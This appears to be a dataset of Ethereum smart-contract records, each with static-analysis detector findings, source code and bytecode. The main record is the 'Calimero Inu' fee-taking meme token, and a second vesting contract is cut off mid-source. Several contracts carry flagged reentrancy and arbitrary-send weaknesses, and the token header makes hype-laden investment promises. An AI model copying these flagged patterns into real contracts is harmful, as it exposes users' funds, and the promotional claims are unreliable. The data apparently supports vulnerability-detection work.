7dbe51415f5c84c4c25e297e46367d7581af8d10f15266addcf20029
{"success": true, "error": null, "results": {"detectors": [{"check": "shadowing-state", "impact": "High", "confidence": "High"}]}}
9,543
0x169c04E649c55D7d0ADE40387d7dC3cb1DdE31E6
/** *Submitted for verification at Etherscan.io on 2021-07-16 */ /*** * ''' * .:::--..---:--. * .::. .::- * ::. '::' * ::' :/' * -/' /: * '/. -/ * -/ '+ * /- '+' * '+' '. '+ * '+ /. '+ * .+ +' :- * '+ . o + * o .y-+ -: * +' +/y o * :- :' ' /-o' -: * '+ d+ '-/so:' '::' -h h- + * +' .Nm.-/syhhhdmNNNdssdNNNds/- -Nm +d/ /' * ./ -yNNNNh/------/hNNNNNh/-----//oNNNo:-NNs '+ * + ':omNNNNNs-----://--yNNN+---------/mNNNNNNNd:-' + * o :+/-hNNNNNm----:hmdddy:mNo/ydddh/----/NNNNNNNN/:+/' :: * -/'-/+dNNNNNh----sdddddm+mN:ddddddm:---:NNNNNNNN+-/+- -/ * -::'sNNNNNN:---:hmdddyoNNsomdddmy----yNNNNNNNN+:. ':: * -/NNNNNNNo-----/:/hNNNNy/+o+:---/dNNNNNNNNd.-::- * sNNNNNNNNmhyydmNmdhhdNNdyoooydNNNNNNNNNN:. * 'hNNNNNNNdNNNh+:::::::+yNNNNNNNNNNNNNNN- * 'hNNNNNysys//o++ooo++///hNhomNNNNNNNd. * :dmdNNNNNNNNNNNmyyyyyyymNmhhNNNNNNNNo' * dNNo/hNNNNNNNNNNy++o++yNNNNNNNNNNNs. * -hmmNNNNNNNNNNNNNNNNNNmhhdNNNNNNNNNds:' * yNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNm: * -NNNNNm/////sNNNNNNNNNNNNNMNNNNNmNN+ * /dyoNNh .NNNNNNNNNNNNNNNNNNNhNNNy' * :/. oNNNNNNNNNNNNNNNNNNhNNNNNy' * /NNNNNNNNNNNNNNNNhmNNNNNd: * .omNNNNNNNNNNNNdodNNddh- * /h+oossssom. '-- * --::///++yy:- '-:d/.' * -/yddso/-' '-+ymdyos+- * . --' * * * CALIMERO INU * * www.calimero.club * twitter.com/CalimeroInu * t.me/CalimeroInu * * CALIMERO is a meme token and brings your investment to the moon! * 100% secured with locked liquidity and renounced ownership. * * FAIR LAUNCH: There are no team tokens or presale tokens issued. * TOTAL SUPPLY: A total of 1,000,000,000,000 tokens are available at launch. * BUY FEE: On purchase there is a 10% total tax (6% goes to the holders, 4% to the team for marketing). * BOT PROTECTION: The first buy is capped at 3,000,000,000 tokens, 45-second buy cooldown for the first 2 minutes. * COOL DOWN: 15-second cooldown to sell after a buy to ban. There are no cool downs between sells. * SELL FEE: Dynamically scaled to the sell's price impact, with a minimum fee of 10% and a maximum fee of 40%. * */ /* SPDX-License-Identifier: UNLICENSED */ pragma solidity ^0.8.4; abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } } interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); } library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if(a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; return c; } function mod(uint256 a, uint256 b) internal pure returns (uint256) { return mod(a, b, "SafeMath: modulo by zero"); } function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b != 0, errorMessage); return a % b; } } contract Ownable is Context { address private _owner; address private _previousOwner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); constructor () { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } function owner() public view returns (address) { return _owner; } modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } } interface IUniswapV2Factory { function createPair(address tokenA, address tokenB) external returns (address pair); } interface IUniswapV2Router02 { function swapExactTokensForETHSupportingFeeOnTransferTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external; function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidityETH( address token, uint amountTokenDesired, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) external payable returns (uint amountToken, uint amountETH, uint liquidity); } contract CALIMERO is Context, IERC20, Ownable { using SafeMath for uint256; mapping (address => uint256) private _rOwned; mapping (address => uint256) private _tOwned; mapping (address => mapping (address => uint256)) private _allowances; mapping (address => bool) private _isExcludedFromFee; mapping (address => User) private cooldown; uint256 private constant MAX = ~uint256(0); uint256 private constant _tTotal = 1e12 * 10**9; uint256 private _rTotal = (MAX - (MAX % _tTotal)); uint256 private _tFeeTotal; string private constant _name = unicode"Calimero Inu | t.me/CalimeroInu"; string private constant _symbol = unicode"CALIMERO"; uint8 private constant _decimals = 9; uint256 private _taxFee = 6; uint256 private _teamFee = 4; uint256 private _feeRate = 5; uint256 private _feeMultiplier = 1000; uint256 private _launchTime; uint256 private _previousTaxFee = _taxFee; uint256 private _previousteamFee = _teamFee; uint256 private _maxBuyAmount; address payable private _FeeAddress; address payable private _marketingWalletAddress; IUniswapV2Router02 private uniswapV2Router; address private uniswapV2Pair; bool private tradingOpen; bool private _cooldownEnabled = true; bool private inSwap = false; bool private _useImpactFeeSetter = true; uint256 private buyLimitEnd; struct User { uint256 buy; uint256 sell; bool exists; } event MaxBuyAmountUpdated(uint _maxBuyAmount); event CooldownEnabledUpdated(bool _cooldown); event FeeMultiplierUpdated(uint _multiplier); event FeeRateUpdated(uint _rate); modifier lockTheSwap { inSwap = true; _; inSwap = false; } constructor (address payable FeeAddress, address payable marketingWalletAddress) { _FeeAddress = FeeAddress; _marketingWalletAddress = marketingWalletAddress; _rOwned[_msgSender()] = _rTotal; _isExcludedFromFee[owner()] = true; _isExcludedFromFee[address(this)] = true; _isExcludedFromFee[FeeAddress] = true; _isExcludedFromFee[marketingWalletAddress] = true; emit Transfer(address(0), _msgSender(), _tTotal); } function name() public pure returns (string memory) { return _name; } function symbol() public pure returns (string memory) { return _symbol; } function decimals() public pure returns (uint8) { return _decimals; } function totalSupply() public pure override returns (uint256) { return _tTotal; } function balanceOf(address account) public view override returns (uint256) { return tokenFromReflection(_rOwned[account]); } function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) { _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } function tokenFromReflection(uint256 rAmount) private view returns(uint256) { require(rAmount <= _rTotal, "Amount must be less than total reflections"); uint256 currentRate = _getRate(); return rAmount.div(currentRate); } function removeAllFee() private { if(_taxFee == 0 && _teamFee == 0) return; _previousTaxFee = _taxFee; _previousteamFee = _teamFee; _taxFee = 0; _teamFee = 0; } function restoreAllFee() private { _taxFee = _previousTaxFee; _teamFee = _previousteamFee; } function setFee(uint256 impactFee) private { uint256 _impactFee = 10; if(impactFee < 10) { _impactFee = 10; } else if(impactFee > 40) { _impactFee = 40; } else { _impactFee = impactFee; } if(_impactFee.mod(2) != 0) { _impactFee++; } _taxFee = (_impactFee.mul(6)).div(10); _teamFee = (_impactFee.mul(4)).div(10); } function _approve(address owner, address spender, uint256 amount) private { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _transfer(address from, address to, uint256 amount) private { require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); require(amount > 0, "Transfer amount must be greater than zero"); if(from != owner() && to != owner()) { if(_cooldownEnabled) { if(!cooldown[msg.sender].exists) { cooldown[msg.sender] = User(0,0,true); } } // buy if(from == uniswapV2Pair && to != address(uniswapV2Router) && !_isExcludedFromFee[to]) { require(tradingOpen, "Trading not yet enabled."); _taxFee = 6; _teamFee = 4; if(_cooldownEnabled) { if(buyLimitEnd > block.timestamp) { require(amount <= _maxBuyAmount); require(cooldown[to].buy < block.timestamp, "Your buy cooldown has not expired."); cooldown[to].buy = block.timestamp + (45 seconds); } } if(_cooldownEnabled) { cooldown[to].sell = block.timestamp + (15 seconds); } } uint256 contractTokenBalance = balanceOf(address(this)); // sell if(!inSwap && from != uniswapV2Pair && tradingOpen) { if(_cooldownEnabled) { require(cooldown[from].sell < block.timestamp, "Your sell cooldown has not expired."); } if(_useImpactFeeSetter) { uint256 feeBasis = amount.mul(_feeMultiplier); feeBasis = feeBasis.div(balanceOf(uniswapV2Pair).add(amount)); setFee(feeBasis); } if(contractTokenBalance > 0) { if(contractTokenBalance > balanceOf(uniswapV2Pair).mul(_feeRate).div(100)) { contractTokenBalance = balanceOf(uniswapV2Pair).mul(_feeRate).div(100); } swapTokensForEth(contractTokenBalance); } uint256 contractETHBalance = address(this).balance; if(contractETHBalance > 0) { sendETHToFee(address(this).balance); } } } bool takeFee = true; if(_isExcludedFromFee[from] || _isExcludedFromFee[to]){ takeFee = false; } _tokenTransfer(from,to,amount,takeFee); } function swapTokensForEth(uint256 tokenAmount) private lockTheSwap { address[] memory path = new address[](2); path[0] = address(this); path[1] = uniswapV2Router.WETH(); _approve(address(this), address(uniswapV2Router), tokenAmount); uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens( tokenAmount, 0, path, address(this), block.timestamp ); } function sendETHToFee(uint256 amount) private { _FeeAddress.transfer(amount.div(2)); _marketingWalletAddress.transfer(amount.div(2)); } function _tokenTransfer(address sender, address recipient, uint256 amount, bool takeFee) private { if(!takeFee) removeAllFee(); _transferStandard(sender, recipient, amount); if(!takeFee) restoreAllFee(); } function _transferStandard(address sender, address recipient, uint256 tAmount) private { (uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getValues(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _takeTeam(tTeam); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256, uint256) { (uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, _taxFee, _teamFee); uint256 currentRate = _getRate(); (uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate); return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam); } function _getTValues(uint256 tAmount, uint256 taxFee, uint256 TeamFee) private pure returns (uint256, uint256, uint256) { uint256 tFee = tAmount.mul(taxFee).div(100); uint256 tTeam = tAmount.mul(TeamFee).div(100); uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam); return (tTransferAmount, tFee, tTeam); } function _getRate() private view returns(uint256) { (uint256 rSupply, uint256 tSupply) = _getCurrentSupply(); return rSupply.div(tSupply); } function _getCurrentSupply() private view returns(uint256, uint256) { uint256 rSupply = _rTotal; uint256 tSupply = _tTotal; if(rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal); return (rSupply, tSupply); } function _getRValues(uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate) private pure returns (uint256, uint256, uint256) { uint256 rAmount = tAmount.mul(currentRate); uint256 rFee = tFee.mul(currentRate); uint256 rTeam = tTeam.mul(currentRate); uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam); return (rAmount, rTransferAmount, rFee); } function _takeTeam(uint256 tTeam) private { uint256 currentRate = _getRate(); uint256 rTeam = tTeam.mul(currentRate); _rOwned[address(this)] = _rOwned[address(this)].add(rTeam); } function _reflectFee(uint256 rFee, uint256 tFee) private { _rTotal = _rTotal.sub(rFee); _tFeeTotal = _tFeeTotal.add(tFee); } receive() external payable {} function addLiquidity() external onlyOwner() { require(!tradingOpen,"trading is already open"); IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); uniswapV2Router = _uniswapV2Router; _approve(address(this), address(uniswapV2Router), _tTotal); uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()).createPair(address(this), _uniswapV2Router.WETH()); uniswapV2Router.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp); _maxBuyAmount = 3000000000 * 10**9; _launchTime = block.timestamp; IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max); } function openTrading() public onlyOwner { tradingOpen = true; buyLimitEnd = block.timestamp + (120 seconds); } function manualswap() external { require(_msgSender() == _FeeAddress); uint256 contractBalance = balanceOf(address(this)); swapTokensForEth(contractBalance); } function manualsend() external { require(_msgSender() == _FeeAddress); uint256 contractETHBalance = address(this).balance; sendETHToFee(contractETHBalance); } // fallback in case contract is not releasing tokens fast enough function setFeeRate(uint256 rate) external { require(_msgSender() == _FeeAddress); require(rate < 51, "Rate can't exceed 50%"); _feeRate = rate; emit FeeRateUpdated(_feeRate); } function setCooldownEnabled(bool onoff) external onlyOwner() { _cooldownEnabled = onoff; emit CooldownEnabledUpdated(_cooldownEnabled); } function thisBalance() public view returns (uint) { return balanceOf(address(this)); } function cooldownEnabled() public view returns (bool) { return _cooldownEnabled; } function timeToBuy(address buyer) public view returns (uint) { return block.timestamp - cooldown[buyer].buy; } function timeToSell(address buyer) public view returns (uint) { return block.timestamp - cooldown[buyer].sell; } function amountInPool() public view returns (uint) { return balanceOf(uniswapV2Pair); } }
0x6080604052600436106101395760003560e01c8063715018a6116100ab578063a9fc35a91161006f578063a9fc35a914610388578063c3c8cd80146103a8578063c9567bf9146103bd578063db92dbb6146103d2578063dd62ed3e146103e7578063e8078d941461042d57600080fd5b8063715018a6146102db5780638da5cb5b146102f057806395d89b4114610318578063a9059cbb14610349578063a985ceef1461036957600080fd5b8063313ce567116100fd578063313ce5671461022857806345596e2e146102445780635932ead11461026657806368a3a6a5146102865780636fc3eaec146102a657806370a08231146102bb57600080fd5b806306fdde0314610145578063095ea7b31461019d57806318160ddd146101cd57806323b872dd146101f357806327f3a72a1461021357600080fd5b3661014057005b600080fd5b34801561015157600080fd5b5060408051808201909152601f81527f43616c696d65726f20496e75207c20742e6d652f43616c696d65726f496e750060208201525b6040516101949190611bfe565b60405180910390f35b3480156101a957600080fd5b506101bd6101b8366004611b56565b610442565b6040519015158152602001610194565b3480156101d957600080fd5b50683635c9adc5dea000005b604051908152602001610194565b3480156101ff57600080fd5b506101bd61020e366004611b16565b610459565b34801561021f57600080fd5b506101e56104c2565b34801561023457600080fd5b5060405160098152602001610194565b34801561025057600080fd5b5061026461025f366004611bb9565b6104d2565b005b34801561027257600080fd5b50610264610281366004611b81565b61057b565b34801561029257600080fd5b506101e56102a1366004611aa6565b6105fa565b3480156102b257600080fd5b5061026461061d565b3480156102c757600080fd5b506101e56102d6366004611aa6565b61064a565b3480156102e757600080fd5b5061026461066c565b3480156102fc57600080fd5b506000546040516001600160a01b039091168152602001610194565b34801561032457600080fd5b5060408051808201909152600881526743414c494d45524f60c01b6020820152610187565b34801561035557600080fd5b506101bd610364366004611b56565b6106e0565b34801561037557600080fd5b50601454600160a81b900460ff166101bd565b34801561039457600080fd5b506101e56103a3366004611aa6565b6106ed565b3480156103b457600080fd5b50610264610713565b3480156103c957600080fd5b50610264610749565b3480156103de57600080fd5b506101e5610796565b3480156103f357600080fd5b506101e5610402366004611ade565b6001600160a01b03918216600090815260046020908152604080832093909416825291909152205490565b34801561043957600080fd5b506102646107ae565b600061044f338484610b61565b5060015b92915050565b6000610466848484610c85565b6104b884336104b385604051806060016040528060288152602001611dd7602891396001600160a01b038a1660009081526004602090815260408083203384529091529020549190611228565b610b61565b5060019392505050565b60006104cd3061064a565b905090565b6011546001600160a01b0316336001600160a01b0316146104f257600080fd5b6033811061053f5760405162461bcd60e51b8152602060048201526015602482015274526174652063616e2774206578636565642035302560581b60448201526064015b60405180910390fd5b600b8190556040518181527f208f1b468d3d61f0f085e975bd9d04367c930d599642faad06695229f3eadcd8906020015b60405180910390a150565b6000546001600160a01b031633146105a55760405162461bcd60e51b815260040161053690611c51565b6014805460ff60a81b1916600160a81b8315158102919091179182905560405160ff9190920416151581527f0d63187a8abb5b4d1bb562e1163897386b0a88ee72e0799dd105bd0fd6f2870690602001610570565b6001600160a01b0381166000908152600660205260408120546104539042611d41565b6011546001600160a01b0316336001600160a01b03161461063d57600080fd5b4761064781611262565b50565b6001600160a01b038116600090815260026020526040812054610453906112e7565b6000546001600160a01b031633146106965760405162461bcd60e51b815260040161053690611c51565b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b600061044f338484610c85565b6001600160a01b0381166000908152600660205260408120600101546104539042611d41565b6011546001600160a01b0316336001600160a01b03161461073357600080fd5b600061073e3061064a565b90506106478161136b565b6000546001600160a01b031633146107735760405162461bcd60e51b815260040161053690611c51565b6014805460ff60a01b1916600160a01b179055610791426078611cf6565b601555565b6014546000906104cd906001600160a01b031661064a565b6000546001600160a01b031633146107d85760405162461bcd60e51b815260040161053690611c51565b601454600160a01b900460ff16156108325760405162461bcd60e51b815260206004820152601760248201527f74726164696e6720697320616c7265616479206f70656e0000000000000000006044820152606401610536565b601380546001600160a01b031916737a250d5630b4cf539739df2c5dacb4c659f2488d90811790915561086f3082683635c9adc5dea00000610b61565b806001600160a01b031663c45a01556040518163ffffffff1660e01b815260040160206040518083038186803b1580156108a857600080fd5b505afa1580156108bc573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906108e09190611ac2565b6001600160a01b031663c9c6539630836001600160a01b031663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b15801561092857600080fd5b505afa15801561093c573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906109609190611ac2565b6040516001600160e01b031960e085901b1681526001600160a01b03928316600482015291166024820152604401602060405180830381600087803b1580156109a857600080fd5b505af11580156109bc573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906109e09190611ac2565b601480546001600160a01b0319166001600160a01b039283161790556013541663f305d7194730610a108161064a565b600080610a256000546001600160a01b031690565b60405160e088901b6001600160e01b03191681526001600160a01b03958616600482015260248101949094526044840192909252606483015290911660848201524260a482015260c4016060604051808303818588803b158015610a8857600080fd5b505af1158015610a9c573d6000803e3d6000fd5b50505050506040513d601f19601f82011682018060405250810190610ac19190611bd1565b50506729a2241af62c00006010555042600d5560145460135460405163095ea7b360e01b81526001600160a01b039182166004820152600019602482015291169063095ea7b390604401602060405180830381600087803b158015610b2557600080fd5b505af1158015610b39573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610b5d9190611b9d565b5050565b6001600160a01b038316610bc35760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b6064820152608401610536565b6001600160a01b038216610c245760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b6064820152608401610536565b6001600160a01b0383811660008181526004602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b038316610ce95760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b6064820152608401610536565b6001600160a01b038216610d4b5760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b6064820152608401610536565b60008111610dad5760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b6064820152608401610536565b6000546001600160a01b03848116911614801590610dd957506000546001600160a01b03838116911614155b156111cb57601454600160a81b900460ff1615610e59573360009081526006602052604090206002015460ff16610e5957604080516060810182526000808252602080830182815260018486018181523385526006909352949092209251835590519282019290925590516002909101805460ff19169115159190911790555b6014546001600160a01b038481169116148015610e8457506013546001600160a01b03838116911614155b8015610ea957506001600160a01b03821660009081526005602052604090205460ff16155b1561100d57601454600160a01b900460ff16610f075760405162461bcd60e51b815260206004820152601860248201527f54726164696e67206e6f742079657420656e61626c65642e00000000000000006044820152606401610536565b60066009556004600a55601454600160a81b900460ff1615610fd357426015541115610fd357601054811115610f3c57600080fd5b6001600160a01b0382166000908152600660205260409020544211610fae5760405162461bcd60e51b815260206004820152602260248201527f596f75722062757920636f6f6c646f776e20686173206e6f7420657870697265604482015261321760f11b6064820152608401610536565b610fb942602d611cf6565b6001600160a01b0383166000908152600660205260409020555b601454600160a81b900460ff161561100d57610ff042600f611cf6565b6001600160a01b0383166000908152600660205260409020600101555b60006110183061064a565b601454909150600160b01b900460ff1615801561104357506014546001600160a01b03858116911614155b80156110585750601454600160a01b900460ff165b156111c957601454600160a81b900460ff16156110e5576001600160a01b03841660009081526006602052604090206001015442116110e55760405162461bcd60e51b815260206004820152602360248201527f596f75722073656c6c20636f6f6c646f776e20686173206e6f7420657870697260448201526232b21760e91b6064820152608401610536565b601454600160b81b900460ff161561114a57600061110e600c548461151090919063ffffffff16565b60145490915061113d90611136908590611130906001600160a01b031661064a565b9061158f565b82906115ee565b905061114881611630565b505b80156111b757600b546014546111809160649161117a9190611174906001600160a01b031661064a565b90611510565b906115ee565b8111156111ae57600b546014546111ab9160649161117a9190611174906001600160a01b031661064a565b90505b6111b78161136b565b4780156111c7576111c747611262565b505b505b6001600160a01b03831660009081526005602052604090205460019060ff168061120d57506001600160a01b03831660009081526005602052604090205460ff165b15611216575060005b6112228484848461169e565b50505050565b6000818484111561124c5760405162461bcd60e51b81526004016105369190611bfe565b5060006112598486611d41565b95945050505050565b6011546001600160a01b03166108fc61127c8360026115ee565b6040518115909202916000818181858888f193505050501580156112a4573d6000803e3d6000fd5b506012546001600160a01b03166108fc6112bf8360026115ee565b6040518115909202916000818181858888f19350505050158015610b5d573d6000803e3d6000fd5b600060075482111561134e5760405162461bcd60e51b815260206004820152602a60248201527f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260448201526965666c656374696f6e7360b01b6064820152608401610536565b60006113586116cc565b905061136483826115ee565b9392505050565b6014805460ff60b01b1916600160b01b17905560408051600280825260608201835260009260208301908036833701905050905030816000815181106113c157634e487b7160e01b600052603260045260246000fd5b6001600160a01b03928316602091820292909201810191909152601354604080516315ab88c960e31b81529051919093169263ad5c4648926004808301939192829003018186803b15801561141557600080fd5b505afa158015611429573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061144d9190611ac2565b8160018151811061146e57634e487b7160e01b600052603260045260246000fd5b6001600160a01b0392831660209182029290920101526013546114949130911684610b61565b60135460405163791ac94760e01b81526001600160a01b039091169063791ac947906114cd908590600090869030904290600401611c86565b600060405180830381600087803b1580156114e757600080fd5b505af11580156114fb573d6000803e3d6000fd5b50506014805460ff60b01b1916905550505050565b60008261151f57506000610453565b600061152b8385611d22565b9050826115388583611d0e565b146113645760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b6064820152608401610536565b60008061159c8385611cf6565b9050838110156113645760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f7700000000006044820152606401610536565b600061136483836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f0000000000008152506116ef565b600a808210156116425750600a611656565b602882111561165357506028611656565b50805b61166181600261171d565b15611674578061167081611d58565b9150505b611684600a61117a836006611510565b600955611697600a61117a836004611510565b600a555050565b806116ab576116ab61175f565b6116b684848461178d565b8061122257611222600e54600955600f54600a55565b60008060006116d9611884565b90925090506116e882826115ee565b9250505090565b600081836117105760405162461bcd60e51b81526004016105369190611bfe565b5060006112598486611d0e565b600061136483836040518060400160405280601881526020017f536166654d6174683a206d6f64756c6f206279207a65726f00000000000000008152506118c6565b60095415801561176f5750600a54155b1561177657565b60098054600e55600a8054600f5560009182905555565b60008060008060008061179f876118fa565b6001600160a01b038f16600090815260026020526040902054959b509399509197509550935091506117d19087611957565b6001600160a01b03808b1660009081526002602052604080822093909355908a1681522054611800908661158f565b6001600160a01b03891660009081526002602052604090205561182281611999565b61182c84836119e3565b876001600160a01b0316896001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8560405161187191815260200190565b60405180910390a3505050505050505050565b6007546000908190683635c9adc5dea000006118a082826115ee565b8210156118bd57505060075492683635c9adc5dea0000092509050565b90939092509050565b600081836118e75760405162461bcd60e51b81526004016105369190611bfe565b506118f28385611d73565b949350505050565b60008060008060008060008060006119178a600954600a54611a07565b92509250925060006119276116cc565b9050600080600061193a8e878787611a56565b919e509c509a509598509396509194505050505091939550919395565b600061136483836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611228565b60006119a36116cc565b905060006119b18383611510565b306000908152600260205260409020549091506119ce908261158f565b30600090815260026020526040902055505050565b6007546119f09083611957565b600755600854611a00908261158f565b6008555050565b6000808080611a1b606461117a8989611510565b90506000611a2e606461117a8a89611510565b90506000611a4682611a408b86611957565b90611957565b9992985090965090945050505050565b6000808080611a658886611510565b90506000611a738887611510565b90506000611a818888611510565b90506000611a9382611a408686611957565b939b939a50919850919650505050505050565b600060208284031215611ab7578081fd5b813561136481611db3565b600060208284031215611ad3578081fd5b815161136481611db3565b60008060408385031215611af0578081fd5b8235611afb81611db3565b91506020830135611b0b81611db3565b809150509250929050565b600080600060608486031215611b2a578081fd5b8335611b3581611db3565b92506020840135611b4581611db3565b929592945050506040919091013590565b60008060408385031215611b68578182fd5b8235611b7381611db3565b946020939093013593505050565b600060208284031215611b92578081fd5b813561136481611dc8565b600060208284031215611bae578081fd5b815161136481611dc8565b600060208284031215611bca578081fd5b5035919050565b600080600060608486031215611be5578283fd5b8351925060208401519150604084015190509250925092565b6000602080835283518082850152825b81811015611c2a57858101830151858201604001528201611c0e565b81811115611c3b5783604083870101525b50601f01601f1916929092016040019392505050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b600060a082018783526020878185015260a0604085015281875180845260c0860191508289019350845b81811015611cd55784516001600160a01b031683529383019391830191600101611cb0565b50506001600160a01b03969096166060850152505050608001529392505050565b60008219821115611d0957611d09611d87565b500190565b600082611d1d57611d1d611d9d565b500490565b6000816000190483118215151615611d3c57611d3c611d87565b500290565b600082821015611d5357611d53611d87565b500390565b6000600019821415611d6c57611d6c611d87565b5060010190565b600082611d8257611d82611d9d565b500690565b634e487b7160e01b600052601160045260246000fd5b634e487b7160e01b600052601260045260246000fd5b6001600160a01b038116811461064757600080fd5b801515811461064757600080fdfe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220d223d2560e5c1e0bb361dc791e5a61152b3e1b528f4509a99daa70eb2f8531fd64736f6c63430008040033
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}, {"check": "arbitrary-send", "impact": "High", "confidence": "Medium"}]}}
9,544
0xe65702283f5773e7e0f6bdd3594f502241676f1a
pragma solidity ^0.4.13; library SafeMath { /** * @dev Multiplies two numbers, throws on overflow. */ function mul(uint256 a, uint256 b) internal pure returns (uint256 c) { if (a == 0) { return 0; } c = a * b; assert(c / a == b); return c; } /** * @dev Integer division of two numbers, truncating the quotient. */ function div(uint256 a, uint256 b) internal pure returns (uint256) { // assert(b > 0); // Solidity automatically throws when dividing by 0 // uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return a / b; } /** * @dev Subtracts two numbers, throws on overflow (i.e. if subtrahend is greater than minuend). */ function sub(uint256 a, uint256 b) internal pure returns (uint256) { assert(b <= a); return a - b; } /** * @dev Adds two numbers, throws on overflow. */ function add(uint256 a, uint256 b) internal pure returns (uint256 c) { c = a + b; assert(c >= a); return c; } } contract Ownable { address public owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @dev The Ownable constructor sets the original `owner` of the contract to the sender * account. */ function Ownable() public { owner = msg.sender; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(msg.sender == owner); _; } /** * @dev Allows the current owner to transfer control of the contract to a newOwner. * @param newOwner The address to transfer ownership to. */ function transferOwnership(address newOwner) public onlyOwner { require(newOwner != address(0)); emit OwnershipTransferred(owner, newOwner); owner = newOwner; } } contract BITVesting is Ownable { BITToken public token; uint256 public releaseDate; function BITVesting ( BITToken _token, address _beneficiary, uint256 